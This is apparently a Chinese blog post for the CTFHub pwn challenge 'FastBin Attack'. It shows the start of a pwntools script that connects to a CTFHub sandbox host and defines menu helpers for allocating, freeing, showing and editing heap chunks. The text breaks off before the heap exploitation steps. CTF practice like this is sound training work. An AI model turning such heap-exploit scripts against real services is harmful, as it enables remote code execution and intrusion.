CTFHub pwn [FastBin Attack]

原创

已于 2024-07-13 15:56:25 修改 · 638 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#linux #运维 #服务器

于 2023-01-29 11:46:45 首次发布

本文通过两个版本的代码示例详细介绍了如何使用PWN技术进行内存操作，包括添加、编辑、释放内存块等步骤，最终实现对目标系统的远程代码执行。

版本一

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-5dd2c6599f1cd66f.sandbox.ctfhub.com",36598)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

def add():
	io.recvuntil(b">> ")
	io.sendline(b"1")

def free(idx):
	io.recvuntil(b">> ")
	io.sendline(b"2")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))

def show(idx):
	io.recvuntil(b">> ")
	io.sendline(b"3")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))

def edit(idx,size,data):
	io.recvuntil(b">> ")
	io.sendline(b"4")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))
	io.recvuntil(b"Size:")
	io.sendline(str(size))</